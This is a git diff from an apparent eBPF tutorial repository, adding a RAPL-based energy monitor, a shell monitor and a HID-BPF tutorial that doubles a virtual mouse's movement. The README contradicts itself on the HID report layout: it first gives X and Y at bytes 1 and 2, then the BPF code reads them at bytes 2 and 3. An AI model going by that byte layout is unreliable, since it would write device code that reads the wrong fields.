path[256]; + snprintf(path, sizeof(path), "/proc/%d/comm", next_key); + FILE *f = fopen(path, "r"); + if (f) { + if (fgets(comm, sizeof(comm), f)) { + comm[strcspn(comm, "\n")] = 0; + } + fclose(f); + } + + // Calculate energy in millijoules + double runtime_ms = runtime_us / 1000.0; + double energy_mj = (env.cpu_power_watts * runtime_us) / 1000000.0; + + printf("%-10d %-16s %-15.2f %-15.4f\n", next_key, comm, runtime_ms, energy_mj); + + total_runtime_us += runtime_us; + } + + key = next_key; + } + + printf("\nTotal CPU time: %.2f ms\n", total_runtime_us / 1000.0); + + if (using_rapl) { + // Calculate actual energy from RAPL counters + printf("\n=== RAPL Hardware Energy Measurements ===\n"); + double total_energy_j = 0; + + for (int domain = 0; domain < RAPL_MAX_DOMAINS; domain++) { + if (rapl_fds[0][domain] < 0) + continue; + + __u64 energy_diff = end_energy[domain] - start_energy[domain]; + // RAPL returns energy in nanojoules (on most systems) + // But the scale varies, typically it's in units that need to be divided by 2^32 to get joules + // For perf_event interface, it's typically already in nanojoules + double energy_j = energy_diff / 1e9; + total_energy_j += energy_j; + + printf("%-10s: %.6f J (%.2f mJ)\n", + rapl_domain_names[domain], energy_j, energy_j * 1000); + } + + printf("\nTotal RAPL energy: %.6f J (%.2f mJ)\n", total_energy_j, total_energy_j * 1000); + printf("Measurement method: Hardware RAPL counters\n"); + } else { + double total_energy_j = (env.cpu_power_watts * total_runtime_us) / 1000000000.0; + printf("Total estimated energy: %.4f J (%.4f mJ)\n", total_energy_j, total_energy_j * 1000); + printf("CPU power setting: %.2f W\n", env.cpu_power_watts); + printf("Measurement method: Software estimation (RAPL unavailable)\n"); + } + + free(values); +} + +int main(int argc, char **argv) +{ + struct ring_buffer *rb = NULL; + struct energy_monitor_bpf *skel; + int err; + __u64 start_energy[RAPL_MAX_DOMAINS] = {0}; + __u64 end_energy[RAPL_MAX_DOMAINS] = {0}; + + // Parse command line arguments + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) + return err; + + // Set up libbpf errors and debug info callback + libbpf_set_print(libbpf_print_fn); + + // Bump RLIMIT_MEMLOCK to create BPF maps + struct rlimit rlim = { + .rlim_cur = 512UL << 20, // 512 MB + .rlim_max = 512UL << 20, + }; + if (setrlimit(RLIMIT_MEMLOCK, &rlim)) { + fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit!\n"); + return 1; + } + + // Initialize RAPL if available + if (init_rapl() == 0) { + printf("Using hardware RAPL energy counters\n"); + } else { + printf("Using software power estimation (%.2f W)\n", env.cpu_power_watts); + } + + // Clean handling of Ctrl-C + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + // Open and load BPF application + skel = energy_monitor_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + err = 1; + goto cleanup_rapl; + } + + // Set program parameters + skel->rodata->verbose = env.verbose; + + // Load & verify BPF programs + err = energy_monitor_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + // Attach tracepoints + err = energy_monitor_bpf__attach(skel); + if (err) { + fprintf(stderr, "Failed to attach BPF skeleton\n"); + goto cleanup; + } + + // Set up ring buffer polling + rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); + if (!rb) { + err = -1; + fprintf(stderr, "Failed to create ring buffer\n"); + goto cleanup; + } + + printf("Energy monitor started... Hit Ctrl-C to end.\n"); + if (env.duration > 0) + printf("Running for %d seconds\n", env.duration); + printf("\n"); + + // Read initial RAPL energy values + if (num_rapl_domains > 0) { + for (int domain = 0; domain < RAPL_MAX_DOMAINS; domain++) { + start_energy[domain] = read_rapl_energy(0, domain); + } + } + + // Process events + time_t start_time = time(NULL); + while (!exiting) { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + // Ctrl-C will cause -EINTR + if (err == -EINTR) { + err = 0; + break; + } + if (err < 0) { + fprintf(stderr, "Error polling ring buffer: %d\n", err); + break; + } + + // Check duration + if (env.duration > 0 && (time(NULL) - start_time) >= env.duration) + break; + } + + // Read final RAPL energy values + if (num_rapl_domains > 0) { + for (int domain = 0; domain < RAPL_MAX_DOMAINS; domain++) { + end_energy[domain] = read_rapl_energy(0, domain); + } + } + + // Print final statistics + print_stats(skel, start_energy, end_energy); + +cleanup: + ring_buffer__free(rb); + energy_monitor_bpf__destroy(skel); +cleanup_rapl: + cleanup_rapl(); + + return err < 0 ? -err : 0; +} \ No newline at end of file diff --git a/src/48-energy/energy_monitor.h b/src/48-energy/energy_monitor.h new file mode 100644 index 00000000..7799dbd2 --- /dev/null +++ b/src/48-energy/energy_monitor.h @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause +#ifndef __ENERGY_MONITOR_H +#define __ENERGY_MONITOR_H + +#define TASK_COMM_LEN 16 +#define MAX_CPUS 256 + +struct energy_event { + __u64 ts; + __u32 cpu; + __u32 pid; + __u64 runtime_ns; + char comm[TASK_COMM_LEN]; +}; + +// RAPL energy domains +enum rapl_domain { + RAPL_PKG = 0, // Package domain (entire CPU socket) + RAPL_CORE, // Core domain (CPU cores only) + RAPL_UNCORE, // Uncore domain (integrated GPU, memory controller) + RAPL_DRAM, // DRAM domain (memory) + RAPL_PSYS, // Platform domain (entire SoC) + RAPL_MAX_DOMAINS +}; + +#endif /* __ENERGY_MONITOR_H */ \ No newline at end of file diff --git a/src/48-energy/energy_monitor_traditional.sh b/src/48-energy/energy_monitor_traditional.sh new file mode 100755 index 00000000..5aff47b0 --- /dev/null +++ b/src/48-energy/energy_monitor_traditional.sh @@ -0,0 +1,166 @@ +#!/bin/bash +# Traditional energy monitoring script using /proc filesystem +# This script monitors CPU usage and estimates energy consumption + +# Default values +DURATION=0 +CPU_POWER=15.0 # Default 15W per CPU +VERBOSE=0 +INTERVAL=0.1 # Sampling interval in seconds + +# Parse command line arguments +while getopts "vd:p:i:" opt; do + case $opt in + v) VERBOSE=1 ;; + d) DURATION=$OPTARG ;; + p) CPU_POWER=$OPTARG ;; + i) INTERVAL=$OPTARG ;; + ?) echo "Usage: $0 [-v] [-d duration] [-p power_watts] [-i interval]" + exit 1 ;; + esac +done + +echo "Traditional Energy Monitor Started..." +echo "CPU Power: ${CPU_POWER}W" +echo "Sampling Interval: ${INTERVAL}s" +[ $DURATION -gt 0 ] && echo "Duration: ${DURATION}s" +echo "" + +# Get number of CPUs +NUM_CPUS=$(nproc) + +# Associative arrays to store data +declare -A prev_cpu_time +declare -A prev_total_time +declare -A process_energy +declare -A process_runtime +declare -A process_comm + +# Function to read CPU stats +read_cpu_stats() { + local cpu_line + cpu_line=$(grep "^cpu " /proc/stat) + echo "$cpu_line" | awk '{print $2+$3+$4+$5+$6+$7+$8}' +} + +# Function to read process stats +read_process_stats() { + local pid=$1 + if [ -f "/proc/$pid/stat" ]; then + # Get process name + local comm=$(cat /proc/$pid/comm 2>/dev/null || echo "unknown") + process_comm[$pid]="$comm" + + # Get CPU time (user + system time in clock ticks) + local cpu_time=$(awk '{print $14 + $15}' /proc/$pid/stat 2>/dev/null || echo 0) + echo "$cpu_time" + else + echo "0" + fi +} + +# Get clock ticks per second +CLK_TCK=$(getconf CLK_TCK) + +# Initialize start time +start_time=$(date +%s) +sample_count=0 + +# Main monitoring loop +while true; do + # Get current total CPU time + total_cpu_time=$(read_cpu_stats) + + # Get list of all processes + for pid in $(ls /proc | grep -E '^[0-9]+$'); do + if [ -d "/proc/$pid" ]; then + current_cpu_time=$(read_process_stats $pid) + + # Calculate delta if we have previous data + if [ -n "${prev_cpu_time[$pid]}" ]; then + delta_ticks=$((current_cpu_time - prev_cpu_time[$pid])) + + if [ $delta_ticks -gt 0 ]; then + # Convert ticks to seconds + delta_seconds=$(echo "scale=6; $delta_ticks / $CLK_TCK" | bc) + + # Calculate energy (Joules = Watts * seconds) + energy=$(echo "scale=6; $CPU_POWER * $delta_seconds / $NUM_CPUS" | bc) + + # Accumulate energy + if [ -n "${process_energy[$pid]}" ]; then + process_energy[$pid]=$(echo "scale=6; ${process_energy[$pid]} + $energy" | bc) + process_runtime[$pid]=$(echo "scale=6; ${process_runtime[$pid]} + $delta_seconds" | bc) + else + process_energy[$pid]=$energy + process_runtime[$pid]=$delta_seconds + fi + + if [ $VERBOSE -eq 1 ]; then + printf "%-16s pid=%-6d runtime=%.3fs energy=%.6fJ\n" \ + "${process_comm[$pid]}" "$pid" "$delta_seconds" "$energy" + fi + fi + fi + + prev_cpu_time[$pid]=$current_cpu_time + fi + done + + # Clean up terminated processes + for pid in "${!prev_cpu_time[@]}"; do + if [ ! -d "/proc/$pid" ]; then + unset prev_cpu_time[$pid] + fi + done + + sample_count=$((sample_count + 1)) + + # Check if we should exit + if [ $DURATION -gt 0 ]; then + current_time=$(date +%s) + elapsed=$((current_time - start_time)) + if [ $elapsed -ge $DURATION ]; then + break + fi + fi + + # Handle Ctrl+C through trap + + # Sleep for interval + sleep $INTERVAL +done + +# Print summary +echo "" +echo "=== Energy Usage Summary ===" +printf "%-10s %-16s %-15s %-15s\n" "PID" "COMM" "Runtime (s)" "Energy (J)" +printf "%-10s %-16s %-15s %-15s\n" "----------" "----------------" "---------------" "---------------" + +total_energy=0 +total_runtime=0 + +# Sort by energy consumption +for pid in $(for p in "${!process_energy[@]}"; do + echo "$p ${process_energy[$p]}" +done | sort -k2 -nr | head -20 | awk '{print $1}'); do + if [ -n "${process_energy[$pid]}" ] && [ "${process_energy[$pid]}" != "0" ]; then + printf "%-10d %-16s %-15.3f %-15.6f\n" \ + "$pid" "${process_comm[$pid]}" "${process_runtime[$pid]}" "${process_energy[$pid]}" + + total_energy=$(echo "scale=6; $total_energy + ${process_energy[$pid]}" | bc) + total_runtime=$(echo "scale=6; $total_runtime + ${process_runtime[$pid]}" | bc) + fi +done + +echo "" +echo "Total CPU time: ${total_runtime}s" +echo "Total estimated energy: ${total_energy}J" +echo "CPU power setting: ${CPU_POWER}W" +echo "Samples collected: $sample_count" + +# Trap Ctrl+C to clean exit +cleanup() { + echo -e "\nStopping energy monitor..." +} +trap cleanup INT \ No newline at end of file diff --git a/src/49-hid/.config b/src/49-hid/.config new file mode 100644 index 00000000..89157d48 --- /dev/null +++ b/src/49-hid/.config @@ -0,0 +1,2 @@ +level=Depth +type=Other diff --git a/src/49-hid/.gitignore b/src/49-hid/.gitignore new file mode 100644 index 00000000..dfc91cbe --- /dev/null +++ b/src/49-hid/.gitignore @@ -0,0 +1,16 @@ +# Build outputs +.output/ +*.o +*.skel.h +hid-input-modifier + +# Editor files +*.swp +*.swo +*~ +.vscode/ +.idea/ + +# Temporary files +*.tmp +*.log diff --git a/src/49-hid/Makefile b/src/49-hid/Makefile new file mode 100644 index 00000000..267623b9 --- /dev/null +++ b/src/49-hid/Makefile @@ -0,0 +1,101 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = hid-input-modifier + +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/49-hid/README.md b/src/49-hid/README.md new file mode 100644 index 00000000..9d357f21 --- /dev/null +++ b/src/49-hid/README.md @@ -0,0 +1,433 @@ +# eBPF Tutorial: Fixing Broken HID Devices Without Kernel Patches + +Ever plugged in a new mouse or drawing tablet only to find it doesn't work quite right on Linux? Maybe the Y-axis is inverted, buttons are mapped wrong, or the device just feels broken. Traditionally, fixing these quirks meant writing a kernel driver, waiting weeks for review, and hoping your distro ships the fix sometime next year. By then, you've probably bought a different device. + +This tutorial shows you a better way. We'll use HID-BPF to create a virtual mouse device and modify its input on the fly using eBPF. In minutes, not months, you'll see how to fix device quirks without touching the kernel. This is the same technology now shipping with 14+ device fixes in the mainline Linux kernel. + +> The complete source code: + +## The HID Device Problem + +HID (Human Interface Device) is a standard protocol for input devices like mice, keyboards, game controllers, and drawing tablets. The protocol is well-defined, but hardware vendors often implement it incorrectly or add quirks that don't follow the spec. When this happens on Linux, users suffer. + +Let's say you buy a drawing tablet with an inverted Y-axis. When you move the stylus up, the cursor goes down. Or you get a mouse where buttons 4 and 5 report themselves as buttons 6 and 7, breaking your browser's back/forward navigation. These bugs are incredibly frustrating because the hardware works perfectly on other operating systems, but Linux sees the raw incorrect data. + +The traditional fix requires writing a kernel driver or patching an existing one. You'd need to understand kernel development, submit patches to LKML, get them reviewed, wait for the next kernel release, and then wait again for your distribution to ship that kernel. For a user with broken hardware, this could take six months or more. Most users just return the device or dual-boot to another OS. + +## Enter HID-BPF + +HID-BPF changes everything by letting you fix devices in userspace with eBPF programs loaded into the kernel. The programs hook into the HID subsystem using BPF struct_ops, intercepting HID reports before applications see them. You can modify the report data, fix descriptor issues, or even block certain operations entirely. + +This approach gives you the safety of kernel code (the BPF verifier ensures no crashes) with the flexibility of userspace development. Write your fix, load it, test it immediately. If it works, package it and ship to users the same day. The Linux kernel already includes HID-BPF fixes for 14 different devices, including: + +- Microsoft Xbox Elite 2 controller +- Huion drawing tablets (Kamvas Pro 19, Inspiroy 2-S) +- XPPen tablets (Artist24, ArtistPro16Gen2, DecoMini4) +- Wacom ArtPen +- Thrustmaster TCA Yoke Boeing +- IOGEAR Kaliber MMOmentum mouse +- Various other mice and gaming peripherals + +Each fix is typically 100-300 lines of BPF code instead of a full kernel driver. The ecosystem has grown rapidly, with the udev-hid-bpf project providing scaffolding to make writing these fixes even easier. + +## Why Virtual Devices for Learning? + +This tutorial uses a virtual HID device created through uhid (userspace HID). You might wonder why we don't just attach to your real mouse. Virtual devices are perfect for learning because they give you: + +- **Complete control**: We send exactly the events we want, when we want +- **Repeatability**: Same test events produce same results every time +- **Safety**: Can't accidentally break your real input devices +- **No hardware required**: Works on any Linux system with kernel 6.3+ + +The virtual mouse we create reports movement events just like a real USB mouse. Our BPF program intercepts these events and modifies them before the input subsystem sees them. In our example, we'll double all movement, but the same technique applies to fixing inverted axes, remapping buttons, or any other transformation. + +## Implementation: The Virtual HID Device + +Let's look at the complete implementation, starting with the userspace code that creates our virtual mouse. This uses the uhid interface, which allows userspace programs to create kernel HID devices. + +### Creating the Virtual Mouse + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Create virtual HID mouse and modify its input with BPF */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "hid-input-modifier.skel.h" + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +/* Simple mouse report descriptor */ +static unsigned char rdesc[] = { + 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ + 0x09, 0x02, /* USAGE (Mouse) */ + 0xa1, 0x01, /* COLLECTION (Application) */ + 0x09, 0x01, /* USAGE (Pointer) */ + 0xa1, 0x00, /* COLLECTION (Physical) */ + 0x05, 0x09, /* USAGE_PAGE (Button) */ + 0x19, 0x01, /* USAGE_MINIMUM (Button 1) */ + 0x29, 0x03, /* USAGE_MAXIMUM (Button 3) */ + 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ + 0x25, 0x01, /* LOGICAL_MAXIMUM (1) */ + 0x95, 0x03, /* REPORT_COUNT (3) */ + 0x75, 0x01, /* REPORT_SIZE (1) */ + 0x81, 0x02, /* INPUT (Data,Var,Abs) */ + 0x95, 0x01, /* REPORT_COUNT (1) */ + 0x75, 0x05, /* REPORT_SIZE (5) */ + 0x81, 0x03, /* INPUT (Cnst,Var,Abs) */ + 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ + 0x09, 0x30, /* USAGE (X) */ + 0x09, 0x31, /* USAGE (Y) */ + 0x15, 0x81, /* LOGICAL_MINIMUM (-127) */ + 0x25, 0x7f, /* LOGICAL_MAXIMUM (127) */ + 0x75, 0x08, /* REPORT_SIZE (8) */ + 0x95, 0x02, /* REPORT_COUNT (2) */ + 0x81, 0x06, /* INPUT (Data,Var,Rel) */ + 0xc0, /* END_COLLECTION */ + 0xc0 /* END_COLLECTION */ +}; +``` + +This report descriptor defines a standard USB mouse with three buttons and relative X/Y movement. The descriptor uses HID descriptor language to tell the kernel what data the device will send. Each report will contain three bytes: button states in byte 0, X movement in byte 1, and Y movement in byte 2. + +The uhid interface requires us to write this descriptor when creating the device: + +```c +static int create_uhid_device(void) +{ + struct uhid_event ev; + int fd; + + fd = open("/dev/uhid", O_RDWR | O_CLOEXEC); + if (fd < 0) { + fprintf(stderr, "Cannot open /dev/uhid: %m\n"); + return -errno; + } + + memset(&ev, 0, sizeof(ev)); + ev.type = UHID_CREATE; + strcpy((char*)ev.u.create.name, "BPF Virtual Mouse"); + ev.u.create.rd_data = rdesc; + ev.u.create.rd_size = sizeof(rdesc); + ev.u.create.bus = BUS_USB; + ev.u.create.vendor = 0x15d9; + ev.u.create.product = 0x0a37; + ev.u.create.version = 0; + ev.u.create.country = 0; + + if (uhid_write(fd, &ev)) { + close(fd); + return -1; + } + + printf("Created virtual HID device\n"); + return fd; +} +``` + +When this succeeds, the kernel creates a new HID device that appears in `/sys/bus/hid/devices/` just like a real USB mouse. We can then attach our BPF program to intercept its events. + +### Sending Synthetic Mouse Events + +With the virtual device created, we can inject mouse movement events: + +```c +static int send_mouse_event(int fd, __s8 x, __s8 y) +{ + struct uhid_event ev; + + memset(&ev, 0, sizeof(ev)); + ev.type = UHID_INPUT; + ev.u.input.size = 3; + ev.u.input.data[0] = 0; /* Buttons */ + ev.u.input.data[1] = x; /* X movement */ + ev.u.input.data[2] = y; /* Y movement */ + + return uhid_write(fd, &ev); +} +``` + +Each event sends three bytes matching our report descriptor. Byte 0 contains button states (all zeros means no buttons pressed), byte 1 is X movement as a signed 8-bit value, and byte 2 is Y movement. The kernel processes this exactly like it would process events from a real USB mouse. + +## The BPF Program: Intercepting HID Events + +Now for the interesting part: the BPF program that modifies mouse input. This runs in the kernel, attached to the HID device via struct_ops. + +```c +// SPDX-License-Identifier: GPL-2.0 +/* HID-BPF example: Modify input data from virtual HID device + * + * This program doubles the X and Y movement of a mouse. + * Works with the virtual HID device created by the userspace program. + */ + +#include "vmlinux.h" +#include "hid_bpf_defs.h" +#include "hid_bpf.h" +#include "hid_bpf_helpers.h" +#include + +SEC("struct_ops/hid_device_event") +int BPF_PROG(hid_double_movement, struct hid_bpf_ctx *hctx, enum hid_report_type type) +{ + __u8 *data = hid_bpf_get_data(hctx, 0, 9); + __s8 x, y; + + if (!data) + return 0; + + /* Mouse HID report format (simplified): + * Byte 0: Report ID + * Byte 1: Buttons + * Byte 2: X movement (signed byte) + * Byte 3: Y movement (signed byte) + */ + + x = (__s8)data[2]; + y = (__s8)data[3]; + + /* Double the movement */ + x *= 2; + y *= 2; + + data[2] = (__u8)x; + data[3] = (__u8)y; + + bpf_printk("Modified: X=%d Y=%d -> X=%d Y=%d", + (__s8)data[2]/2, (__s8)data[3]/2, + (__s8)data[2], (__s8)data[3]); + + return 0; +} + +SEC(".struct_ops.link") +struct hid_bpf_ops input_modifier = { + .hid_device_event = (void *)hid_double_movement, +}; + +char _license[] SEC("license") = "GPL"; +``` + +The program hooks into `hid_device_event`, which the kernel calls for every HID input report. The `hctx` parameter provides context about the device and report. We call `hid_bpf_get_data()` to get a pointer to the actual report data, which we can read and modify. + +The report data follows the format defined by our descriptor. For our simple mouse, byte 2 contains X movement and byte 3 contains Y movement, both as signed 8-bit integers. We read these values, double them, and write them back. The kernel will then pass the modified report to the input subsystem, where applications see the doubled movement. + +The `bpf_printk()` call logs our modifications to the kernel trace buffer. This is invaluable for debugging, letting you see exactly how the BPF program transforms each event. + +### Understanding struct_ops + +The `SEC(".struct_ops.link")` section creates a struct_ops map that connects our BPF program to the HID subsystem. Struct_ops is a BPF feature that lets you implement kernel interfaces in BPF code. For HID, this means providing callbacks that the kernel invokes during HID processing. + +The `hid_bpf_ops` structure defines which callbacks we're implementing. We only need `hid_device_event` to intercept reports, but HID-BPF also supports: + +- `hid_rdesc_fixup`: Modify the report descriptor itself +- `hid_hw_request`: Intercept requests to the device +- `hid_hw_output_report`: Intercept output reports + +The userspace code loads this BPF program and attaches it by setting the `hid_id` field to our virtual device's ID, then calling `bpf_map__attach_struct_ops()`. + +## Putting It All Together + +The main function orchestrates everything: + +```c +int main(int argc, char **argv) +{ + struct hid_input_modifier_bpf *skel = NULL; + struct bpf_link *link = NULL; + int err, hid_id; + + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Create virtual HID device */ + uhid_fd = create_uhid_device(); + if (uhid_fd < 0) + return 1; + + /* Find the HID device ID */ + hid_id = find_hid_device(); + if (hid_id < 0) { + fprintf(stderr, "Cannot find virtual HID device\n"); + destroy_uhid_device(uhid_fd); + return 1; + } + + /* Open and load BPF program */ + skel = hid_input_modifier_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + destroy_uhid_device(uhid_fd); + return 1; + } + + skel->struct_ops.input_modifier->hid_id = hid_id; + + err = hid_input_modifier_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load BPF skeleton: %d\n", err); + goto cleanup; + } + + /* Attach BPF program */ + link = bpf_map__attach_struct_ops(skel->maps.input_modifier); + if (!link) { + fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); + err = -1; + goto cleanup; + } + + printf("BPF program attached successfully!\n"); + printf("The BPF program will DOUBLE all mouse movements\n\n"); + printf("Sending test mouse events:\n"); + + /* Send some test events */ + for (int i = 0; i < 5 && !exiting; i++) { + __s8 x = 10, y = 20; + printf("Sending: X=%d, Y=%d (BPF will double to X=%d, Y=%d)\n", + x, y, x*2, y*2); + send_mouse_event(uhid_fd, x, y); + sleep(1); + } + + printf("\nPress Ctrl-C to exit...\n"); + while (!exiting) + sleep(1); + +cleanup: + bpf_link__destroy(link); + hid_input_modifier_bpf__destroy(skel); + destroy_uhid_device(uhid_fd); + return err < 0 ? -err : 0; +} +``` + +The flow is straightforward: create virtual device, find its ID, load BPF program with that ID, attach the program, send test events. The BPF program runs in the kernel, intercepting and modifying each event before it reaches the input layer. + +## Understanding HID Report Format + +To modify HID data effectively, you need to understand the report format. Our simple mouse uses this structure: + +``` +Byte 0: Report ID (always 0 for our single report type) +Byte 1: Button states + bit 0: Left button + bit 1: Right button + bit 2: Middle button + bits 3-7: Unused +Byte 2: X movement (signed 8-bit, -127 to +127) +Byte 3: Y movement (signed 8-bit, -127 to +127) +``` + +Real devices often have more complex reports with multiple report IDs, more buttons, wheel data, and additional axes. You'd determine the format by examining the device's report descriptor, which you can read from sysfs or by looking at existing kernel drivers for similar devices. + +## Compilation and Execution + +Building the example is simple. Navigate to the tutorial directory and run make: + +```bash +cd src/49-hid +make +``` + +This compiles both the BPF program and userspace loader, producing the `hid-input-modifier` executable. Run it with sudo since HID-BPF requires CAP_BPF and CAP_SYS_ADMIN capabilities: + +```bash +sudo ./hid-input-modifier +``` + +You'll see output like: + +``` +Created virtual HID device +Found HID device ID: 8 +BPF program attached successfully! +The BPF program will DOUBLE all mouse movements + +Sending test mouse events: +Sending: X=10, Y=20 (BPF will double to X=20, Y=40) +Sending: X=10, Y=20 (BPF will double to X=20, Y=40) +Sending: X=10, Y=20 (BPF will double to X=20, Y=40) +Sending: X=10, Y=20 (BPF will double to X=20, Y=40) +Sending: X=10, Y=20 (BPF will double to X=20, Y=40) + +Press Ctrl-C to exit... +``` + +In another terminal, you can view the BPF trace output to see the modifications in action: + +```bash +sudo cat /sys/kernel/debug/tracing/trace_pipe +``` + +This shows the `bpf_printk()` messages from the BPF program, confirming that events are being intercepted and modified. + +## Experimenting with Modifications + +The beauty of this approach is how easy it is to experiment. Want to reverse mouse direction instead of doubling it? Just change the BPF code: + +```c +/* Reverse direction */ +x = -x; +y = -y; +``` + +Or maybe swap the axes so horizontal becomes vertical: + +```c +/* Swap axes */ +__s8 temp = x; +x = y; +y = temp; +``` + +You could implement dead zone filtering for aging joysticks: + +```c +/* Ignore small movements */ +if (x > -5 && x < 5) x = 0; +if (y > -5 && y < 5) y = 0; +``` + +Or fix the common inverted Y-axis problem on drawing tablets: + +```c +/* Invert Y axis only */ +y = -y; +``` + +After any change, just run `make` and execute again. No kernel rebuild, no module signing, no waiting. This is the power of HID-BPF. + + +## Summary + +HID-BPF transforms how we handle quirky input devices on Linux. Instead of kernel patches that take months to reach users, we can write small BPF programs that fix devices immediately. The programs run safely in the kernel thanks to the BPF verifier, and they can be packaged and distributed like any other software. + +This tutorial showed you the fundamentals by creating a virtual mouse and modifying its input. You saw how uhid lets userspace create HID devices, how BPF struct_ops connects programs to the HID subsystem, and how simple transformations can fix common device problems. The same techniques apply to real hardware, whether you're fixing an inverted tablet axis or implementing custom game controller mappings. + +The Linux kernel already ships with 14 HID-BPF device fixes, and that number grows with each release. Projects like udev-hid-bpf are making it even easier to write and distribute fixes. If you have a broken HID device, you now have the tools to fix it yourself, in hours instead of months. + +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . + +## References + +- [Linux HID-BPF Documentation](https://docs.kernel.org/hid/hid-bpf.html) +- [udev-hid-bpf Project](https://gitlab.freedesktop.org/libevdev/udev-hid-bpf) +- [Kernel HID-BPF Device Fixes](https://github.com/torvalds/linux/tree/master/drivers/hid/bpf/progs) +- [UHID Kernel Documentation](https://www.kernel.org/doc/html/latest/hid/uhid.html) +- [HID Usage Tables](https://www.usb.org/document-library/device-class-definition-hid-111) +- [Who-T Blog: udev-hid-bpf Quickstart](https://who-t.blogspot.com/2024/04/udev-hid-bpf-quickstart-tooling-to-fix.html) diff --git a/src/49-hid/README.zh.md b/src/49-hid/README.zh.md new file mode 100644 index 00000000..f5ad8f38 --- /dev/null +++ b/src/49-hid/README.zh.md @@ -0,0 +1,432 @@ +# eBPF 教程:无需内核补丁修复故障的 HID 设备 + +你是否遇到过这样的情况:插入新鼠标或绘图板后发现在 Linux 上无法正常工作?也许 Y 